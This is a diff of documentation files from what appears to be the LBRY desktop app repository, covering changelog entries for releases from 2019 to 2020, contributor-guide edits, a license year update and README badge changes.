### Changed
|
||||
|
||||
- Default channel bid to 0.01 LBC and improve publish page warnings around insufficient credits ([#3781](https://github.com/lbryio/lbry-desktop/pull/3781))
|
||||
- Publish page - limit # of tags, improve wording on tag selection ([#3796](https://github.com/lbryio/lbry-desktop/pull/3796))
|
||||
- Upgrade Electron-builder and updater to latest version to support libcurl changes ([#3799](https://github.com/lbryio/lbry-desktop/pull/3799))
|
||||
- Upgrade [LBRY-SDK to 0.63.0](https://github.com/lbryio/lbry-sdk/releases/tag/v0.63.0) to fix Windows UPNP issues
|
||||
|
||||
### Fixed
|
||||
|
||||
- Some posted comments showing up as anonymous ([#3787](https://github.com/lbryio/lbry-desktop/pull/3787))
|
||||
- Back/forward mouse navigation on Desktop app ([#3763](https://github.com/lbryio/lbry-desktop/pull/3763))
|
||||
|
||||
## [0.43.2] - [2020-02-25]
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fix for users who synced invalid preference data
|
||||
|
||||
## [0.43.1] - [2020-02-25]
|
||||
|
||||
### Fixed
|
||||
|
||||
- Do not sync invalid preference data ([#3743](https://github.com/lbryio/lbry-desktop/pull/3743))
|
||||
|
||||
## [0.43.0] - [2020-02-25]
|
||||
|
||||
### Added
|
||||
|
||||
- Right click to navigate history on desktop ([#3650](https://github.com/lbryio/lbry-desktop/pull/3650))
|
||||
- Javanese language support ([#3685](https://github.com/lbryio/lbry-desktop/pull/3685))
|
||||
- Wallet sync status on the wallet page ([#3720](https://github.com/lbryio/lbry-desktop/pull/3720))
|
||||
- Channel discovery page ([#3700](https://github.com/lbryio/lbry-desktop/pull/3700))
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated lbry-sdk to [0.61.0](https://github.com/lbryio/lbry-sdk/releases/tag/v0.61.0)
|
||||
- Drops support for publishing anonymous comments ([#3705](https://github.com/lbryio/lbry-desktop/pull/3705))
|
||||
- Don't remember past repost bid amount ([bbd263c](https://github.com/lbryio/lbry-desktop/commit/bbd263c4413935ee4fac7b7b79b7f73b42d9c1f6))
|
||||
|
||||
### Fixed
|
||||
|
||||
- Download all transactions when exporting from transaction table ([#3692](https://github.com/lbryio/lbry-desktop/pull/3692))
|
||||
|
||||
## [0.42.0] - [2020-02-14]
|
||||
|
||||
### Added
|
||||
|
||||
- Ability to repost claims ([#3663](https://github.com/lbryio/lbry-desktop/pull/3663))
|
||||
- New page for top claims for a specific claim name ([#3674](https://github.com/lbryio/lbry-desktop/pull/3674))
|
||||
- Language support for Danish, Romanian, and Urdu ([#3657](https://github.com/lbryio/lbry-desktop/pull/3657))
|
||||
- Ability to unfollow abandoned channels ([#3636](https://github.com/lbryio/lbry-desktop/pull/3636))
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated lbry-sdk to [0.59.2](https://github.com/lbryio/lbry-sdk/releases/tag/v0.59.2)
|
||||
- Improvements to text file layouts ([#3511](https://github.com/lbryio/lbry-desktop/pull/3511))
|
||||
|
||||
### Fixed
|
||||
|
||||
- Always navigate backwards after deleting and abandoning a claim ([#3642](https://github.com/lbryio/lbry-desktop/pull/3642))
|
||||
|
||||
## [0.41.0] - [2020-02-05]
|
||||
|
||||
### Added
|
||||
|
||||
- Download buttons on file cards ([#3546](https://github.com/lbryio/lbry-desktop/pull/3546))
|
||||
- Comment edit and delete ([#3453](https://github.com/lbryio/lbry-desktop/pull/3453))
|
||||
- Basic display of reposts ([#3593](https://github.com/lbryio/lbry-desktop/pull/3593))
|
||||
- See previous navigation pages when right clicking forward/back buttons ([#3547](https://github.com/lbryio/lbry-desktop/pull/3547))
|
||||
- Autoplay countdown timer ([#3556](https://github.com/lbryio/lbry-desktop/pull/3556))
|
||||
|
||||
### Changed
|
||||
|
||||
- Better aria-labels for use with voiceover apps ([#3588](https://github.com/lbryio/lbry-desktop/pull/3588))
|
||||
|
||||
### Fixed
|
||||
|
||||
- Prevent spacebar from toggling fullscreen on Firefox ([#3546](https://github.com/lbryio/lbry-desktop/pull/3546))
|
||||
- Context menu not working properly in some cases ([#3604](https://github.com/lbryio/lbry-desktop/pull/3604))
|
||||
- Don't autoplay paid content or content from blocked channels ([#3570](https://github.com/lbryio/lbry-desktop/pull/3570))
|
||||
- Make claim previews right clickable ([#3631](https://github.com/lbryio/lbry-desktop/pull/3631))
|
||||
|
||||
## [0.39.1] - [2020-01-24]
|
||||
|
||||
### Added
|
||||
|
||||
- Analytics event for video buffering for easier debugging ([#3534](https://github.com/lbryio/lbry-desktop/pull/3534))
|
||||
|
||||
### Fixed
|
||||
|
||||
- Home page tiles not loading in some cases ([#3539](https://github.com/lbryio/lbry-desktop/pull/3539))
|
||||
- Spellcheck not working on the advanced publish description ([c6230ba](https://github.com/lbryio/lbry-desktop/commit/c6230ba024a1e1e84ea2be32aff234027cbb02d5))
|
||||
|
||||
## [0.39.0] - [2020-01-22]
|
||||
|
||||
### Added
|
||||
|
||||
- Adds the ability for users to update & delete comments ([#3453](https://github.com/lbryio/lbry-desktop/pull/3453))
|
||||
- New homepage design ([#3508](https://github.com/lbryio/lbry-desktop/pull/3508))
|
||||
- Revamped invites system ([#3462](https://github.com/lbryio/lbry-desktop/pull/3462))
|
||||
- Appimage support ([#3497](https://github.com/lbryio/lbry-desktop/pull/3497))
|
||||
- Better layout for viewing text files ([#3446](https://github.com/lbryio/lbry-desktop/pull/3446))
|
||||
- Show file as the thumbnail for free image claims ([#3317](https://github.com/lbryio/lbry-desktop/pull/3317))
|
||||
|
||||
### Changed
|
||||
|
||||
- Navigation redesign ([#3432](https://github.com/lbryio/lbry-desktop/pull/3432))
|
||||
- Move away from keychain and into a cookie for authentication ([#3497](https://github.com/lbryio/lbry-desktop/pull/3497))
|
||||
- Updated lbry-sdk to [0.54.1](https://github.com/lbryio/lbry-sdk/releases/tag/v0.54.1) for faster wallet syncing and improved stability
|
||||
|
||||
### Fixed
|
||||
|
||||
- Don't show edit screen for other channels ([#3470](https://github.com/lbryio/lbry-desktop/pull/3470))
|
||||
- Clear publish form when clicking "New Publish" ([#3463](https://github.com/lbryio/lbry-desktop/pull/3463))
|
||||
- Hide cursor on fullscreen videos ([#3458](https://github.com/lbryio/lbry-desktop/pull/3458))
|
||||
- Force color profile to render correct colors ([#3456](https://github.com/lbryio/lbry-desktop/pull/3456))
|
||||
- Video viewer not resizing properly ([#3427](https://github.com/lbryio/lbry-desktop/pull/3427))
|
||||
- Don't reset publish language to app language ([#261](https://github.com/lbryio/lbry-redux/pull/261))
|
||||
- Same file wasn't able to be reselected on publish after clearing the publish screen ([#3500](https://github.com/lbryio/lbry-desktop/pull/3500))
|
||||
- Make sure search results on channel page don't return content from other channels ([#3503](https://github.com/lbryio/lbry-desktop/pull/3503))
|
||||
|
||||
## [0.38.2] - [2019-12-21]
|
||||
|
||||
### Fixed
|
||||
|
||||
- Always sync prefernces on startup
|
||||
- App no longer crashes on edits in some cases
|
||||
- Sign in will no longer get stuck
|
||||
|
||||
## [0.38.0] - [2019-12-20]
|
||||
|
||||
### Fixed
|
||||
|
||||
- Issue with adding tags on publishes ([#3375](https://github.com/lbryio/lbry-desktop/pull/3375))
|
||||
|
||||
### Added
|
||||
|
||||
- Dedicated Channel Creation page ([#3305](https://github.com/lbryio/lbry-desktop/pull/3305))
|
||||
- Ability to use custom wallet servers ([#3361](https://github.com/lbryio/lbry-desktop/pull/3361))
|
||||
- Autoplay free text files ([#3357](https://github.com/lbryio/lbry-desktop/pull/3357))
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated lbry-sdk to [0.50.0](https://github.com/lbryio/lbry-sdk/releases/tag/v0.50.0)
|
||||
- Always round down dates on claim previews for better yotube parity ([#3353](https://github.com/lbryio/lbry-desktop/pull/3353))
|
||||
|
||||
## [0.37.2] - [2019-11-21]
|
||||
|
||||
### Fixed
|
||||
|
||||
- Channel pages not showing any page numbers ([#3237](https://github.com/lbryio/lbry-desktop/pull/3237))
|
||||
- Context menu does not open in the webapp when right-clicking video tiles ([#3135](https://github.com/lbryio/lbry-desktop/pull/3135))
|
||||
- Undefined tags prevents homepage from loading ([#3146](https://github.com/lbryio/lbry-desktop/pull/3146))
|
||||
|
||||
### Added
|
||||
|
||||
- Setting to start the app minimized when you login (Linux/Windows only) ([#3236](https://github.com/lbryio/lbry-desktop/pull/3236))
|
||||
- Search on downloads page ([#2969](https://github.com/lbryio/lbry-desktop/pull/2969))
|
||||
- Clear support state when clearing cache in settings([#3149](https://github.com/lbryio/lbry-desktop/pull/3149))
|
||||
- Allow disabling app updates for some linux based builds ([#3206](https://github.com/lbryio/lbry-desktop/pull/3206))
|
||||
- Add French, Turkish, Slovak, and Chinese language support and improved how we are loading languages ([#3180](https://github.com/lbryio/lbry-desktop/pull/3180))
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated lbry-sdk to [0.46.1](https://github.com/lbryio/lbry-sdk/releases/tag/v0.46.1)
|
||||
- Optimized SDK calls for faster app startup and performance ([#3216](https://github.com/lbryio/lbry-desktop/pull/3216))
|
||||
|
||||
## [0.37.1] - [2019-10-22]
|
||||
|
||||
### Fixed
|
||||
|
||||
- Wallet unlocking for YouTube Sync users with encrypted wallets ([#2566](https://github.com/lbryio/lbry-sdk/pull/2566))
|
||||
|
||||
- Syncing with no password when account first created on LBRY Android ([#3103](https://github.com/lbryio/lbry-desktop/pull/3103))
|
||||
|
||||
- Only show channel search bar on the content tab ([#3083](https://github.com/lbryio/lbry-desktop/pull/3083))
|
||||
|
||||
### Changed
|
||||
|
||||
- Upgrade to [LBRY SDK 0.43.3](https://github.com/lbryio/lbry-sdk/releases/tag/v0.43.3) to support above scenarios
|
||||
|
||||
## [0.37.0] - [2019-10-17]
|
||||
|
||||
### Fixed
|
||||
|
||||
- Escape the generated link for tags ([#2984](https://github.com/lbryio/lbry-desktop/pull/2984))
|
||||
- Toggle fullscreen when pressing `f` ([#2159](https://github.com/lbryio/lbry-desktop/issues/2159))
|
||||
- Can't exit full-screen from embedded content with key `F11` ([#2514](https://github.com/lbryio/lbry-desktop/issues/2514))
|
||||
- Markdown rendering issues with LBRY URLs and channel mentions ([#2928](https://github.com/lbryio/lbry-desktop/issues/2928))
|
||||
- Incorrect styles of tooltip on dark theme ([#3031](https://github.com/lbryio/lbry-desktop/issues/3031))
|
||||
- Code tag not formatting content on markdown preview ([#3027](https://github.com/lbryio/lbry-desktop/issues/3027))
|
||||
- Missing tooltip on channel mention ([#3036](https://github.com/lbryio/lbry-desktop/issues/3036))
|
||||
- Fix gap between video player and background [(#3025)](https://github.com/lbryio/lbry-desktop/issues/3025)
|
||||
- Don't allow price to change from scrollwheel [(#3042)](https://github.com/lbryio/lbry-desktop/issues/3042)
|
||||
|
||||
### Added
|
||||
|
||||
- Comment Thumbnails ([#3108](https://github.com/lbryio/lbry-desktop/pull/3108))
|
||||
|
||||
- Syncing between other wallets is now supported for existing users ([#3058](https://github.com/lbryio/lbry-desktop/pull/3058))
|
||||
|
||||
- Keyboard shortcuts for the following actions: ([#2999](https://github.com/lbryio/lbry-desktop/pull/2999))
|
||||
|
||||
- `→` to Seek Forward
|
||||
- `←` to Seek Backward
|
||||
- `f` to Going Fullscreen
|
||||
- `m` to Mute/Unmute
|
||||
|
||||
- Ability to add multiple tags at once with commas ([#2833](https://github.com/lbryio/lbry-desktop/pull/2833))
|
||||
- Disable GIF animation unless user hovers ([#2986](https://github.com/lbryio/lbry-desktop/pull/2986))
|
||||
- Add keyboard shortcuts to toggle player fullscreen: ([#3015](https://github.com/lbryio/lbry-desktop/pull/3015))
|
||||
|
||||
- `f` or `f11` to toggle player fullscreen mode
|
||||
|
||||
- Markdown preview for comments: ([#2986](https://github.com/lbryio/lbry-desktop/pull/2986))
|
||||
- Basic text formatting (bold, italic, strike)
|
||||
- LBRY URLs preview and channel mentions
|
||||
- Implement URL embedding in comments
|
||||
- Code blocks, inline code and blockquotes
|
||||
- Embed Images and GIFs
|
||||
|
||||
### Changed
|
||||
|
||||
- Refactor ModalAutoUpdateConfirm into ModalAutoUpdateDownloaded ([#2959](https://github.com/lbryio/lbry-desktop/pull/2959))
|
||||
|
||||
## [0.36.1] - [2019-10-11]
|
||||
|
||||
### Added
|
||||
|
||||
- Notarized Mac OSX installer to support the Catalina upgrade ([#3014](https://github.com/lbryio/lbry-desktop/issues/3014))
|
||||
|
||||
### Fixed
|
||||
|
||||
- LBRY.tv share URL missing a slash, preventing opening on web ([#2995](https://github.com/lbryio/lbry-desktop/issues/2995))
|
||||
|
||||
## [0.36.0] - [2019-10-4]
|
||||
|
||||
### Added
|
||||
|
||||
- Channels page above Publishes which lists all your channels ([#2925](https://github.com/lbryio/lbry-desktop/pull/2925))
|
||||
- YouTube channel claiming and transfer ([#2925](https://github.com/lbryio/lbry-desktop/pull/2925)). See our [YouTube FAQ](https://lbry.com/faq/youtube) for more information.
|
||||
- New user sign in flow now includes automatic redeeming of 1 LBC and channel creation ([#2925](https://github.com/lbryio/lbry-desktop/pull/2925))
|
||||
- Ability to save wallet encryption password ([#2925](https://github.com/lbryio/lbry-desktop/pull/2925))
|
||||
- Sync your balance (only for users with new wallets) and preferences (subscriptions and tags) between devices ([#2925](https://github.com/lbryio/lbry-desktop/pull/2925)). See our [FAQ for more information](https://lbry.com/faq/account-sync)
|
||||
- Max character count on comments ([#2944](https://github.com/lbryio/lbry-desktop/pull/2944))
|
||||
- Subscription and file view counts ([#2920](https://github.com/lbryio/lbry-desktop/pull/2920))
|
||||
- Pagination on Library, Publishes, and Transactions page ([#2923](https://github.com/lbryio/lbry-desktop/pull/2923))
|
||||
- Volume setting is now saved between videos ([#2934](https://github.com/lbryio/lbry-desktop/pull/2934))
|
||||
- Granular balance information on wallet page - includes LBC locked in tips/claims/supports ([#2916](https://github.com/lbryio/lbry-desktop/pull/2916))
|
||||
- Acknowledgement of [terms of service](https://lbry.com/termsofservice) and age verification on sign in ([#2925](https://github.com/lbryio/lbry-desktop/pull/2925))
|
||||
- Hidden NSFW content message on tag search results page ([#3038](https://github.com/lbryio/lbry-desktop/pull/3038))
|
||||
|
||||
### Changed
|
||||
|
||||
- Upgrade LBRY SDK to [0.42.1](https://github.com/lbryio/lbry-sdk/releases/tag/v0.42.1) to improve overall connectivity
|
||||
- Sign out now clears the email address and refreshes the app ([#2925](https://github.com/lbryio/lbry-desktop/pull/2925))
|
||||
- Language strings are now pulled dynamically instead of requiring new app releases for better language support ([#2883](https://github.com/lbryio/lbry-desktop/pull/2883))
|
||||
- Minor design improvements to styles and cards
|
||||
|
||||
### Fixed
|
||||
|
||||
- Not being able to abandon claims not which weren't downloaded ([#2945](https://github.com/lbryio/lbry-desktop/pull/2945))
|
||||
- Duration not showing for audio ([#2936](https://github.com/lbryio/lbry-desktop/pull/2936))
|
||||
|
||||
## [0.35.7] - [2019-09-24]
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fixes app crash for some users
|
||||
|
||||
## [0.35.6] - [2019-09-23]
|
||||
|
||||
### Fixed
|
||||
|
||||
- Paid content can now be purchased successfully
|
||||
|
||||
## [0.35.4] - [2019-09-22]
|
||||
|
||||
# Notes
|
||||
|
||||
This release includes a breaking change that will reset many of your settings. This was required to get settings on lbry.tv to work properly. Sorry.
|
||||
|
||||
### Added
|
||||
|
||||
- Searching on channel pages! ([#2887](https://github.com/lbryio/lbry-desktop/pull/2887))
|
||||
|
||||
### Changed
|
||||
|
||||
- Upgrade LBRY SDK to [0.40.1](https://github.com/lbryio/lbry-sdk/releases/tag/v0.40.1) to improve connectivity
|
||||
- Storage of local settings ([#2895](https://github.com/lbryio/lbry-desktop/pull/2895))
|
||||
|
||||
### Fixed
|
||||
|
||||
- Autoplay next related content ([#2901](https://github.com/lbryio/lbry-desktop/pull/2901))
|
||||
- Ensure view counted before checking rewards ([#2898](https://github.com/lbryio/lbry-desktop/pull/2898))
|
||||
- App crash on German language setting ([#2856](https://github.com/lbryio/lbry-desktop/issues/2856))
|
||||
- Rewards display issue ([#2871](https://github.com/lbryio/lbry-desktop/issues/2871))
|
||||
- Display issue with upgrade banner on file page ([#2826](https://github.com/lbryio/lbry-desktop/issues/2826))
|
||||
- Prevent duplicate tags being added to a publish ([#2817](https://github.com/lbryio/lbry-desktop/issues/2817))
|
||||
- Reset page correctly on app refresh ([#2881](https://github.com/lbryio/lbry-desktop/pull/2881))
|
||||
|
||||
## [0.35.3] - [2019-09-04]
|
||||
|
||||
### Added
|
||||
|
||||
- Allow easy thumbnail upload with video on file edits ([#2816](https://github.com/lbryio/lbry-desktop/pull/2816))
|
||||
- Better message for unsupported file types ([#2834](https://github.com/lbryio/lbry-desktop/pull/2834))
|
||||
- Support for daily reward (not live yet) ([#2849](https://github.com/lbryio/lbry-desktop/issues/2849))
|
||||
|
||||
### Fixed
|
||||
|
||||
- Canonical URL bugs on home and channel pages ([#2829](https://github.com/lbryio/lbry-desktop/issues/2829))
|
||||
- Crash when clicking a channel in "Find New Channels" ([#2825](https://github.com/lbryio/lbry-desktop/issues/2825))
|
||||
- SVG and lbry file types not showing correctly ([#2830](https://github.com/lbryio/lbry-desktop/issues/2830)) / ([#2827](https://github.com/lbryio/lbry-desktop/issues/2827))
|
||||
- Channel not re-selected on edit ([#2828](https://github.com/lbryio/lbry-desktop/issues/2828))
|
||||
- Command + A support on mac to select all text in an input ([#2837](https://github.com/lbryio/lbry-desktop/pull/2837))
|
||||
- Search bar getting stuck in focus ([#2500](https://github.com/lbryio/lbry-desktop/pull/2500))
|
||||
|
||||
### Changed
|
||||
|
||||
- Upgraded [lbry-sdk to 0.40.0](https://github.com/lbryio/lbry-sdk/releases/tag/v0.40.0) to improve wallet syncing and overall connectivity
|
||||
|
||||
## [0.35.2] - [2019-08-30]
|
||||
|
||||
### Added
|
||||
|
||||
- Tips and supports on Channel pages ([#2821](https://github.com/lbryio/lbry-desktop/pull/2821))
|
||||
- Choose when you want automatic dark mode to take effect ([#2747](https://github.com/lbryio/lbry-desktop/pull/2747))
|
||||
|
||||
### Fixed
|
||||
|
||||
- Don't show block button on your own channel ([#2744](https://github.com/lbryio/lbry-desktop/pull/2744))
|
||||
- App crash when automatically playing content originally priced in USD ([b347d3fc](https://github.com/lbryio/lbry-desktop/commit/b347d3fc5b492641124d763625e626a340916cb2))
|
||||
- Bid amount required on publish page ([#2783](https://github.com/lbryio/lbry-desktop/issues/2783))
|
||||
- Fixed subscription auto downloads ([#2767](https://github.com/lbryio/lbry-desktop/issues/2767))
|
||||
- Crash with query strings ([#2733](https://github.com/lbryio/lbry-desktop/issues/2733))
|
||||
- Autoplay on paid content ([#2762](https://github.com/lbryio/lbry-desktop/issues/2762))
|
||||
|
||||
### Changed
|
||||
|
||||
- URL format to include both channel and claim short IDs ([#2748](https://github.com/lbryio/lbry-desktop/pull/2748))
|
||||
- Upgraded [lbry-sdk to 0.39.0](https://github.com/lbryio/lbry-sdk/releases/tag/v0.39.0) for performance and reliability improvements
|
||||
- Upgraded windows certificate so builds continue to be signed properly ([b9bf861b](https://github.com/lbryio/lbry-desktop/commit/b9bf861b5ca2f7209ce54088732bc8e0e7548514))
|
||||
- DMCA blocking to include channels ([#2802](https://github.com/lbryio/lbry-desktop/issues/2802))
|
||||
|
||||
## [0.35.1] - [2019-08-16]
|
||||
|
||||
### Fixed
|
||||
|
||||
- Unable to upload thumbnail on publish page ([cad067ad](https://github.com/lbryio/lbry-desktop/commit/cad067ad95ea885db0fc58df3437989298bf5160))
|
||||
|
||||
## [0.35.0] - [2019-08-15]
|
||||
|
||||
### Fixed
|
||||
|
||||
- Add startup statuses back to splash screen ([#2721](https://github.com/lbryio/lbry-desktop/issues/2721))
|
||||
- Ensure 'mature' tag is always visible on claim previews for mature content ([#2720](https://github.com/lbryio/lbry-desktop/issues/2720))
|
||||
|
||||
### Added
|
||||
|
||||
- New video player ([#2707](https://github.com/lbryio/lbry-desktop/issues/2707))
|
||||
- Uses range requests which allow seeking ahead in a video instead of waiting for the file download up to that point
|
||||
- Better support video and audio
|
||||
- Pop out player to keep browsing the app while watching content
|
||||
- Ability to block channels ([#2706](https://github.com/lbryio/lbry-desktop/issues/2706))
|
||||
- Table styling on file pages ([#2717](https://github.com/lbryio/lbry-desktop/issues/2717))
|
||||
- Option to disable startup animation ([#2721](https://github.com/lbryio/lbry-desktop/issues/2721))
|
||||
|
||||
## [0.34.2] - [2019-07-26]
|
||||
|
||||
### Fixed
|
||||
|
||||
- Library and other pages not displaying correctly in some instances
|
||||
|
||||
## [0.34.1] - [2019-07-25]
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fixed wallet unlock while still syncing transactions
|
||||
- Fixed invalid character checking on channel and content URLs ([#2661](https://github.com/lbryio/lbry-desktop/issues/2661))
|
||||
- Upgrade [SDK to 0.38.5](https://github.com/lbryio/lbry-sdk/releases/tag/v0.38.5) to improve download speeds
|
||||
|
||||
## [0.34.0] - [2019-07-23]
|
||||
|
||||
### Fixed
|
||||
|
||||
- Lots of speed, UI, and style improvements
|
||||
- Content is now sorted correctly by the date it was released
|
||||
|
||||
### Changed
|
||||
|
||||
- Share content options now use lbry.tv instead of spee.ch ([#2614](https://github.com/lbryio/lbry-desktop/pull/2614))
|
||||
|
||||
### Added
|
||||
|
||||
- New app design for better [content discovery](https://lbry.com/faq/trending) with infinite scroll ([#2477](https://github.com/lbryio/lbry-desktop/pull/2477))
|
||||
- First implementation of comments ([#2510](https://github.com/lbryio/lbry-desktop/pull/2510))
|
||||
- Ability to edit channels with new metadata and tags ([#2584](https://github.com/lbryio/lbry-desktop/pull/2584))
|
||||
- Tagging content on publish page ([#2593](https://github.com/lbryio/lbry-desktop/pull/2593))
|
||||
- New loading page ([#2491](https://github.com/lbryio/lbry-desktop/pull/2491))
|
||||
- Remember file delete preference ([#2132](https://github.com/lbryio/lbry-desktop/pull/2132))
|
||||
- Experimental setting for sending supports ([#2647](https://github.com/lbryio/lbry-desktop/pull/2647))
|
||||
- Experimental setting for language with Indonesian and Polish as first translations ([#2539](https://github.com/lbryio/lbry-desktop/pull/2539))
|
||||
- Short URLs throughout app ([#2614](https://github.com/lbryio/lbry-desktop/pull/2614))
|
||||
- Wallet backup zipping option on Help page ([#2585](https://github.com/lbryio/lbry-desktop/pull/2585))
|
||||
|
||||
## [0.33.1] - [2019-06-12]
|
||||
|
||||
@@ -445,7 +1200,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
|
||||
|
||||
### Changed
|
||||
|
||||
- Update LBRY Protocol to 0.19.3 - faster blockchain header download for new and existing users (See full change log for [0.19.2](https://github.com/lbryio/lbry/releases/tag/v0.19.2) and [0.19.3](https://github.com/lbryio/lbry/releases/tag/v0.19.3))
|
||||
- Update LBRY Protocol to 0.19.3 - faster blockchain header download for new and existing users (See full changelog for [0.19.2](https://github.com/lbryio/lbry/releases/tag/v0.19.2) and [0.19.3](https://github.com/lbryio/lbry/releases/tag/v0.19.3))
|
||||
|
||||
### Fixed
|
||||
|
||||
@@ -473,7 +1228,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
|
||||
|
||||
### Changed
|
||||
|
||||
- Update LBRY Protocol to 0.19.1 (See change log for [0.19.0](https://github.com/lbryio/lbry/releases/tag/v0.19.0) and [0.19.1](https://github.com/lbryio/lbry/releases/tag/v0.19.1))
|
||||
- Update LBRY Protocol to 0.19.1 (See changelog for [0.19.0](https://github.com/lbryio/lbry/releases/tag/v0.19.0) and [0.19.1](https://github.com/lbryio/lbry/releases/tag/v0.19.1))
|
||||
- Improved privacy by allowing users to turn off the file view counter and better understand privacy settings ([#1074](https://github.com/lbryio/lbry-desktop/pull/1074) / [#1116](https://github.com/lbryio/lbry-desktop/pull/1116))
|
||||
- Disabled auto dark mode if dark mode is selected ([#1006](https://github.com/lbryio/lbry-desktop/pull/1006))
|
||||
- Refactor Electron's main process ([#951](https://github.com/lbryio/lbry-desktop/pull/951))
|
||||
@@ -764,7 +1519,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
|
||||
|
||||
### Removed
|
||||
|
||||
- Removed the label "Max Purchase Price" from settings page. It was redundant.
|
||||
- Removed the label "Max purchase price" from settings page. It was redundant.
|
||||
- Unused old files from previous commit(9c3d633)
|
||||
|
||||
### Fixed
|
||||
|
||||
+16
-4
@@ -15,6 +15,18 @@ However, for those individuals who want a bit more guidance on the best way to c
|
||||
* Don't hesitate to contact us with any questions or comments.
|
||||
* [Check out this video for a quickstart guide to running and developing the desktop app](https://spee.ch/7da73fc508ffc4ff8b2711e3c3950110430b0c5f/LBRYAppDesign.mp4).
|
||||
|
||||
## Contents
|
||||
- [Choose an Issue](#choose-an-issue)
|
||||
- [Code Overview](#code-overview)
|
||||
- [Libraries](#libraries)
|
||||
- [Flow](#flow)
|
||||
- [Lint](#lint)
|
||||
- [Code Formatting](#code-formatting)
|
||||
- [Debug](#debug)
|
||||
- [Submit a Pull Request](#submit-a-pull-request)
|
||||
- [Tom's "Voice of the User" Wishlist](#toms-voice-of-the-user-wishlist)
|
||||
- [Get in Touch](#get-in-touch)
|
||||
- [More Information](#more-information)
|
||||
|
||||
## Choose an Issue
|
||||
|
||||
@@ -56,7 +68,7 @@ Although all contributions should have good UX, the [UX label, when applied in c
|
||||
|
||||
## Code Overview
|
||||
|
||||
The entry point for this application is `src/platforms/electron/index.js`.
|
||||
The entry point for this application is [`electron/index.js`](https://github.com/lbryio/lbry-desktop/blob/master/electron/index.js).
|
||||
|
||||
This application is primarily written in JavaScript and is built on [Electron](https://electronjs.org)
|
||||
while utilizing [React](https://reactjs.org) and [Redux](https://redux.js.org) for UI and
|
||||
@@ -66,7 +78,7 @@ The project comes with diverse tools for simplifying the development process and
|
||||
better code quality. It's recommended to make use of them thoroughly during ongoing development. We follow the well-known [Airbnb JavaScript Style Guide](https://airbnb.io/javascript/) for defining
|
||||
our styling rules and code best practices.
|
||||
|
||||
### lbry-redux and lbryinc
|
||||
### Libraries
|
||||
|
||||
This project uses [lbry-redux](https://github.com/lbryio/lbry-redux) and [lbryionc](https://github.com/lbryio/lbryinc) to share Redux and LBRY API specific code with [lbry-android](https://github.com/lbryio/lbry-android) and other LBRY apps. Over time, more Redux code that is suitable to be shared will be moved into lbry-redux. If modifying Redux code, you may be asked to make some of your changes in lbry-redux rather than lbry-desktop. The steps to work with lbry-redux locally can be found [here](https://github.com/lbryio/lbry-redux#local-development).
|
||||
|
||||
@@ -143,7 +155,7 @@ There are a few tools integrated to the project that will ease the process of de
|
||||
contributor wanting to reserve an issue in advance can leave a comment saying that he or she is
|
||||
working on it. Contributors should respect other people's efforts to complete issues in a timely
|
||||
manner and, therefore, not begin working on anything reserved (or updated) within the last 3 days.
|
||||
If someone has been officially assigned an issue via Github's assignment system, it is also not
|
||||
If someone has been officially assigned an issue via GitHub's assignment system, it is also not
|
||||
available. Contributors are encouraged to ask if they have any questions about issue availability.
|
||||
* The [changelog](https://github.com/lbryio/lbry-desktop/blob/master/CHANGELOG.md) should be updated to
|
||||
include a reference to the fix/change/addition. See previous entries for format.
|
||||
@@ -188,4 +200,4 @@ Join our Discord [here](https://chat.lbry.com/).
|
||||
|
||||
# More Information
|
||||
|
||||
More information about contributing to LBRY [here](https://lbry.com/faq/contributing).
|
||||
More information about contributing to LBRY [here](https://lbry.tech/contribute).
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2017-2019 LBRY Inc.
|
||||
Copyright (c) 2017-2021 LBRY Inc.
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,22 +1,52 @@
|
||||
# LBRY App
|
||||
<img width="40%" src="https://miro.medium.com/max/5198/1*bTVuL2THG_0mpwmE-n7Ezg.png" />
|
||||
|
||||
[](https://github.com/lbryio/lbry-desktop/blob/master/LICENSE)
|
||||
[](https://GitHub.com/lbryio/lbry-desktop/releases/)
|
||||
[](https://travis-ci.org/lbryio/lbry-desktop)
|
||||
[](https://david-dm.org/lbryio/lbry-desktop)
|
||||
[](https://chat.lbry.com)
|
||||
# LBRY App - https://lbry.tv
|
||||
|
||||
[](https://forthebadge.com)
|
||||
|
||||
The LBRY app is a graphical browser for the decentralized content marketplace provided by the
|
||||
This repo contains the UI code that powers the official LBRY desktop app, as well as lbry.tv. The LBRY app is a graphical browser for the decentralized content marketplace provided by the
|
||||
[LBRY](https://lbry.com) protocol. It is essentially the
|
||||
[lbry daemon](https://github.com/lbryio/lbry) bundled with a UI using
|
||||
[Electron](https://electron.atom.io/).
|
||||
|
||||

|
||||
<a href="https://github.com/lbryio/lbry-desktop/blob/master/LICENSE" title="MIT licensed">
|
||||
<img alt="npm" src="https://img.shields.io/dub/l/vibe-d.svg?style=flat">
|
||||
</a>
|
||||
<a href="https://GitHub.com/lbryio/lbry-desktop/releases/" title="GitHub release">
|
||||
<img src="https://img.shields.io/github/release/lbryio/lbry-desktop.svg"/>
|
||||
</a>
|
||||
<a href="https://travis-ci.org/lbryio/lbry-desktop">
|
||||
<img src="https://travis-ci.org/lbryio/lbry-desktop.svg?branch=master" alt="Build Status" />
|
||||
</a>
|
||||
<a href="https://chat.lbry.com">
|
||||
<img alt="GitHub contributors" src="https://img.shields.io/discord/362322208485277697.svg?logo=discord" alt="chat on Discord">
|
||||
</a>
|
||||
|
||||
<h2>
|
||||
<a href="https://forthebadge.com" title="forthebadge">
|
||||
<img alt="forthebadge" src="https://forthebadge.com/images/badges/60-percent-of-the-time-works-every-time.svg">
|
||||
</a>
|
||||
<a href="https://forthebadge.com" title="forthebadge">
|
||||
<img alt="forthebadge" src="https://forthebadge.com/images/badges/approved-by-veridian-dynamics.svg">
|
||||
</a>
|
||||
</h2>
|
||||
|
||||

|
||||
|
||||
